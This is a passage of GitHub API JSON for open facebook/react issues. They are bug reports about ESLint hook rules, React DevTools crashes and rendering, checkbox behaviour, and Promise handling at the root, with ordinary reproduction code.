"https://api.github.com/repos/facebook/react/labels/Component:%20ESLint%20Rules", "name": "Component: ESLint Rules", "color": "f7afdb", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 7, "created_at": "2023-09-05T12:53:45Z", "updated_at": "2023-10-22T08:34:10Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "This issue seems related to #18828, but it's not identical. Using `typeof` on a primitive value seems to work as expected, but it fails for nested property access.\r\n\r\nVersion: ``\r\n\r\n\r\n## Steps To Reproduce\r\n\r\n```tsx\r\nimport { useEffect, useState } from \"react\";\r\n\r\nconst Dummy = () => {\r\n const [foo, setFoo] = useState<{ bar: number }>({ bar: 42 });\r\n\r\n useEffect(() => {\r\n const square = (x: typeof foo.bar) => x * x;\r\n setFoo((previous) => ({ ...previous, bar: square(previous.bar) }));\r\n }, []);\r\n};\r\n```\r\n\r\n\r\n## The current behavior\r\n\r\nThis effect clearly doesn't have external (value) dependencies, but I get this:\r\n\r\n> ESLint: React Hook useEffect has a missing dependency: 'foo'. Either include it or remove the dependency array. (react-hooks/exhaustive-deps)\r\n\r\n\r\n## The expected behavior\r\n\r\nUsing `typeof` never leads to a dependency requirement, just like in this example doesn't:\r\n\r\n```tsx\r\nimport { useEffect, useState } from \"react\";\r\n\r\nconst Dummy = () => {\r\n const [bar, setBar] = useState(42);\r\n\r\n useEffect(() => {\r\n const square = (x: typeof bar) => x * x;\r\n setBar(square);\r\n }, []);\r\n};\r\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27335/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27211", "id": 1845942990, "node_id": "I_kwDOAJy2Ks5uBtrO", "number": 27211, "title": "[DevTools Bug]: react-hooks/rules-of-hooks does not report error for function starting with _", "user": { "login": "Hirse", "id": 2564094, "node_id": "MDQ6VXNlcjI1NjQwOTQ=", "avatar_url": "https://avatars.githubusercontent.com/u/2564094?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Hirse", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2023-08-10T21:49:58Z", "updated_at": "2023-09-11T20:02:57Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://codesandbox.io/p/sandbox/quizzical-shirley-9y2txs\n\n### Repro steps\n\nUsing ESLint rule `react-hooks/rules-of-hooks` with the following code, I would expect it to report errors for invalid usage of hooks. It does not report anything though unless I change `_isEnabled` to `isEnabled`.\r\n\r\n```js\r\nconst useFeatureEnabled = () => {\r\n const enabled = useEnabled();\r\n const isEnabled = enabled && _isEnabled();\r\n return { featureEnabled: isEnabled };\r\n};\r\n\r\nconst _isEnabled = () => {\r\n const { settingEnabled } = useSettings();\r\n return settingEnabled;\r\n};\r\n\r\n\r\n// From https://github.com/facebook/react/blob/a20eea25197df0da80104917df414747eeab1ac9/packages/eslint-plugin-react-hooks/__tests__/ESLintRulesOfHooks-test.js#L716\r\n// These are neither functions nor hooks.\r\nfunction _normalFunctionWithHook() {\r\n useHookInsideNormalFunction();\r\n}\r\nfunction _useNotAHook() {\r\n useHookInsideNormalFunction();\r\n}\r\n```\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27211/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27185", "id": 1835698655, "node_id": "I_kwDOAJy2Ks5taonf", "number": 27185, "title": "[DevTools Bug] Cannot add node \"1\" because a node with that id is already in the Store.", "user": { "login": "ansharah-gs", "id": 56068507, "node_id": "MDQ6VXNlcjU2MDY4NTA3", "avatar_url": "https://avatars.githubusercontent.com/u/56068507?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ansharah-gs", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 13, "created_at": "2023-08-03T20:36:23Z", "updated_at": "2024-12-17T09:41:16Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nrunning react app\n\n### Repro steps\n\ni just made a basic portfolio app on react app and suddenly this bug showed up, and i cant seem to access the localhost link in any browser beside Firefox\n\n### How often does this bug happen?\n\nOften\n\n### DevTools package (automated)\n\nreact-devtools-extensions\n\n### DevTools version (automated)\n\n4.27.8-2468a8735\n\n### Error message (automated)\n\nCannot add node \"1\" because a node with that id is already in the Store.\n\n### Error call stack (automated)\n\n```text\nemit@moz-extension://961fb755-5a59-4c1c-943c-029f7cf6279b/build/main.js:27059:22\r\nbridge_Bridge/this._wallUnlisten<@moz-extension://961fb755-5a59-4c1c-943c-029f7cf6279b/build/main.js:27228:14\r\nlistener@moz-extension://961fb755-5a59-4c1c-943c-029f7cf6279b/build/main.js:57497:41\n```\n\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n```text\nhttps://api.github.com/search/issues?q=Cannot add node because a node with that id is already in the Store. in:title is:issue is:open is:public label:\"Component: Developer Tools\" repo:facebook/react\n```\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27185/reactions", "total_count": 18, "+1": 18, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27158", "id": 1823729889, "node_id": "I_kwDOAJy2Ks5ss-jh", "number": 27158, "title": "[DevTools Bug]: shows \"This page doesn't appear to be using React\" for every react website on Firefox 115.0.2", "user": { "login": "anvesh-mobilefirst", "id": 138557591, "node_id": "U_kgDOCEI4lw", "avatar_url": "https://avatars.githubusercontent.com/u/138557591?v=4", "gravatar_id": "", "url": "https://api.github.com/users/anvesh-mobilefirst", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 620368407, "node_id": "MDU6TGFiZWw2MjAzNjg0MDc=", "url": "https://api.github.com/repos/facebook/react/labels/Resolution:%20Needs%20More%20Information", "name": "Resolution: Needs More Information", "color": "fffde7", "default": false, "description": null }, "3": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": { "0": { "login": "anvesh-mobilefirst", "id": 138557591, "node_id": "U_kgDOCEI4lw", "avatar_url": "https://avatars.githubusercontent.com/u/138557591?v=4", "gravatar_id": "", "url": "https://api.github.com/users/anvesh-mobilefirst", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 17, "created_at": "2023-07-27T06:49:02Z", "updated_at": "2024-03-01T16:44:12Z", "closed_at": null, "assignee": { "login": "anvesh-mobilefirst", "id": 138557591, "node_id": "U_kgDOCEI4lw", "avatar_url": "https://avatars.githubusercontent.com/u/138557591?v=4", "gravatar_id": "", "url": "https://api.github.com/users/anvesh-mobilefirst", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nall of them and also localhost. https://react.dev/ for example\n\n### Repro steps\n\n1. open any website made with React\r\n2. Click on the extension icon\r\n\r\nOS:\r\nWindows 10\r\n\r\nBrowser:\r\nFirefox 115.0.2 (64-bit)\r\n\r\nDevTools:\r\n4.27.8\r\n\r\n\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": { "login": "github-actions[bot]", "id": 41898282, "node_id": "MDM6Qm90NDE4OTgyODI=", "avatar_url": "https://avatars.githubusercontent.com/in/15368?v=4", "gravatar_id": "", "url": "https://api.github.com/users/github-actions%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27158/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": "reopened", "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27128", "id": 1811815100, "node_id": "I_kwDOAJy2Ks5r_hq8", "number": 27128, "title": "Bug: undefined behavior with input checkbox onChange not triggered", "user": { "login": "Its-Just-Nans", "id": 56606507, "node_id": "MDQ6VXNlcjU2NjA2NTA3", "avatar_url": "https://avatars.githubusercontent.com/u/56606507?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Its-Just-Nans", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 127893911, "node_id": "MDU6TGFiZWwxMjc4OTM5MTE=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20DOM", "name": "Component: DOM", "color": "fef2c0", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2023-07-19T12:10:45Z", "updated_at": "2024-04-08T10:56:51Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Hello,\r\n\r\nI have also discovered a bug where when we do `e.preventDefault()` on an `onClick()` function, inputs will not be updated correctly\r\n\r\nLink to code example:\r\n\r\n\r\nHere is a demo https://codesandbox.io/s/vigorous-albattani-g3hv29\r\n\r\nHas you can see in the demo, when the state is `true` the checkbox is not checked\r\n\r\n\r\n## The current behavior\r\n\r\nThe checkbox is not checked when we have a `e.preventDefault()` even if the state is `true`\r\n\r\n## The expected behavior\r\n\r\nThe checkbox should have the value of the checked props\r\n\r\n## Notes\r\n\r\n- I've also created some unit test for checkbox in #27127 \r\n- Related to #27016", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27128/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27025", "id": 1781622830, "node_id": "I_kwDOAJy2Ks5qMWgu", "number": 27025, "title": "[DevTools Bug]: Excessive memory usage, even when not in use (Firefox)", "user": { "login": "kahveciderin", "id": 17106844, "node_id": "MDQ6VXNlcjE3MTA2ODQ0", "avatar_url": "https://avatars.githubusercontent.com/u/17106844?v=4", "gravatar_id": "", "url": "https://api.github.com/users/kahveciderin", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": { "0": { "login": "hoxyq", "id": 28902667, "node_id": "MDQ6VXNlcjI4OTAyNjY3", "avatar_url": "https://avatars.githubusercontent.com/u/28902667?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hoxyq", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 6, "created_at": "2023-06-29T23:13:56Z", "updated_at": "2025-10-01T07:56:02Z", "closed_at": null, "assignee": { "login": "hoxyq", "id": 28902667, "node_id": "MDQ6VXNlcjI4OTAyNjY3", "avatar_url": "https://avatars.githubusercontent.com/u/28902667?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hoxyq", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nThe issue happens on the browser, not on a specific site\n\n### Repro steps\n\n1. Use Firefox\r\n2. open a couple of tabs not even using react (for example for me, I have my mail client, youtube etc open).\r\n3. check about:performance\r\n4. confirm that the memory usage of the extension is around 200mb, which is a lot considering the extension isn't even in use.\r\n\r\nWhat I would do is I would add a config option about the domains the extension is supposed to run on, and only start up everything the extension does when the user is on one of those domains, because I really don't want an extension I'm not even using at the moment to be a memory hog.\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27025/reactions", "total_count": 3, "+1": 3, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/27021", "id": 1778426010, "node_id": "I_kwDOAJy2Ks5qAKCa", "number": 27021, "title": "[DevTools Bug]: Update highlights crash often", "user": { "login": "chamerling", "id": 264403, "node_id": "MDQ6VXNlcjI2NDQwMw==", "avatar_url": "https://avatars.githubusercontent.com/u/264403?v=4", "gravatar_id": "", "url": "https://api.github.com/users/chamerling", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2023-06-28T08:04:02Z", "updated_at": "2023-07-13T12:40:44Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttp://everywhereiusetheextension.io\n\n### Repro steps\n\n- Open React devtools\r\n- Enable \" Highlight updates when components render.\"\r\n- Use your React app\r\n- Highlight stops working again and again. The only way to make it work is to close and open devtools...\n\n### How often does this bug happen?\n\nOften\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/27021/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/26928", "id": 1753069250, "node_id": "I_kwDOAJy2Ks5ofbbC", "number": 26928, "title": "[DevTools Bug]: Timeline UI isn't being rendered (black screen)", "user": { "login": "kamranayub", "id": 563819, "node_id": "MDQ6VXNlcjU2MzgxOQ==", "avatar_url": "https://avatars.githubusercontent.com/u/563819?v=4", "gravatar_id": "", "url": "https://api.github.com/users/kamranayub", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2023-06-12T15:59:02Z", "updated_at": "2023-06-19T01:27:00Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://fxbh5x.csb.app/\n\n### Repro steps\n\nI cannot get the timeline view to render properly on my machine in Chrome. Super weird.\r\n\r\n1. Open codesandbox\r\n2. Reload and profile\r\n3. Click button\r\n\r\n## Chrome\r\n\r\nRenders black area and only highlights Ui elements when I hover over (but nothing ever shows below).\r\n\r\n![image](https://github.com/facebook/react/assets/563819/85f5e2df-9a04-420f-b9a3-6a1ef1d2b4d4)\r\n\r\n## Edge\r\n\r\nDoesn't show timeline tab, must not be supported?\r\n\r\n## Firefox\r\n\r\nCan't profile at all?\r\n\r\n![image](https://github.com/facebook/react/assets/563819/0c7a49c2-d691-44fe-8d3b-3aa0a20704d3)\r\n\r\n\r\nUsing latest dev tools for all 3 browsers\r\n\r\n![image](https://github.com/facebook/react/assets/563819/33f2d4b0-74b1-4daf-b01c-8bfa94ea71db)\r\n\r\nVersion: 4.27.8-2468a8735\r\nChrome: Version 114.0.5735.110 (Official Build) (64-bit)\r\nWindows: Version\t10.0.19045 Build 19045\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/26928/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/26903", "id": 1742012066, "node_id": "I_kwDOAJy2Ks5n1P6i", "number": 26903, "title": "[DevTools Bug]: Flame graph entries overlapping", "user": { "login": "OliverJAsh", "id": 921609, "node_id": "MDQ6VXNlcjkyMTYwOQ==", "avatar_url": "https://avatars.githubusercontent.com/u/921609?v=4", "gravatar_id": "", "url": "https://api.github.com/users/OliverJAsh", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": { "0": { "login": "hoxyq", "id": 28902667, "node_id": "MDQ6VXNlcjI4OTAyNjY3", "avatar_url": "https://avatars.githubusercontent.com/u/28902667?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hoxyq", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 3, "created_at": "2023-06-05T15:18:44Z", "updated_at": "2023-06-13T11:44:59Z", "closed_at": null, "assignee": { "login": "hoxyq", "id": 28902667, "node_id": "MDQ6VXNlcjI4OTAyNjY3", "avatar_url": "https://avatars.githubusercontent.com/u/28902667?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hoxyq", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\r\n\r\nhttps://web-enable-react-profil-1na9tm.herokuapp.com/\r\n\r\n### Repro steps\r\n\r\n1. Go to https://web-enable-react-profil-1na9tm.herokuapp.com/\r\n2. Open profiler\r\n3. Click \"reload and start profiling\"\r\n4. After the reload completes, stop profiling\r\n5. Step through the commits until you see this:\r\n \"image\"\r\n\r\nThe flame graph entries are overlapping other entries.\r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### DevTools package (automated)\r\n\r\n_No response_\r\n\r\n### DevTools version (automated)\r\n\r\n4.27.8 (5/19/2023)\r\n\r\n### Error message (automated)\r\n\r\n_No response_\r\n\r\n### Error call stack (automated)\r\n\r\n_No response_\r\n\r\n### Error component stack (automated)\r\n\r\n_No response_\r\n\r\n### GitHub query string (automated)\r\n\r\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/26903/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/26886", "id": 1736566206, "node_id": "I_kwDOAJy2Ks5ngeW-", "number": 26886, "title": "Bug: Inconsistent behavior with Promises near the root", "user": { "login": "gaearon", "id": 810438, "node_id": "MDQ6VXNlcjgxMDQzOA==", "avatar_url": "https://avatars.githubusercontent.com/u/810438?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gaearon", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2023-06-01T15:25:07Z", "updated_at": "2024-02-24T15:09:50Z", "closed_at": null, "assignee": null, "author_association": "COLLABORATOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Just jotting down some cases I found confusing.\r\nIdeally for each case, it should either work, or should fail in some obvious way.\r\n\r\n## Working: startTransition + 1000ms Promise root\r\n\r\n```js\r\nimport { startTransition } from \"react\";\r\nimport { createRoot } from \"react-dom/client\";\r\n\r\nconst rootElement = document.getElementById(\"root\");\r\nconst root = createRoot(rootElement);\r\n\r\nlet promise = new Promise((resolve) => {\r\n setTimeout(() => {\r\n resolve(

hi

);\r\n }, 1000);\r\n});\r\n\r\nstartTransition(() => {\r\n root.render(promise);\r\n});\r\n```\r\n\r\nhttps://codesandbox.io/s/goofy-rui-8g6sxh?file=/src/index.js\r\n\r\n## Working: startTransition + root component + 5000ms Promise child\r\n\r\n```js\r\nimport { startTransition } from \"react\";\r\nimport { createRoot } from \"react-dom/client\";\r\n\r\nconst rootElement = document.getElementById(\"root\");\r\nconst root = createRoot(rootElement);\r\n\r\nlet promise = new Promise((resolve) => {\r\n setTimeout(() => {\r\n resolve(

hi

);\r\n }, 5000);\r\n});\r\n\r\nfunction Foo() {\r\n return promise;\r\n}\r\n\r\nstartTransition(() => {\r\n root.render();\r\n});\r\n```\r\n\r\nhttps://codesandbox.io/s/epic-cookies-v94rk2?file=/src/index.js\r\n\r\n## Working: No startTransition + root component + 5000ms Promise child\r\n\r\n```js\r\nimport { createRoot } from \"react-dom/client\";\r\n\r\nconst rootElement = document.getElementById(\"root\");\r\nconst root = createRoot(rootElement);\r\n\r\nlet promise = new Promise((resolve) => {\r\n setTimeout(() => {\r\n resolve(

hi

);\r\n }, 5000);\r\n});\r\n\r\nfunction Foo() {\r\n return promise;\r\n}\r\n\r\nroot.render();\r\n```\r\n\r\nhttps://codesandbox.io/s/zen-allen-2u1nr7?file=/src/index.js\r\n\r\n## Working: startTransition + root component + 1000ms Promise in state\r\n\r\n```js\r\nimport { useState, startTransition } from \"react\";\r\nimport { createRoot } from \"react-dom/client\";\r\n\r\nconst rootElement = document.getElementById(\"root\");\r\nconst root = createRoot(rootElement);\r\n\r\nfunction Foo() {\r\n const [promise, setPromise] = useState(\r\n new Promise((resolve) => {\r\n setTimeout(() => {\r\n resolve(

hi

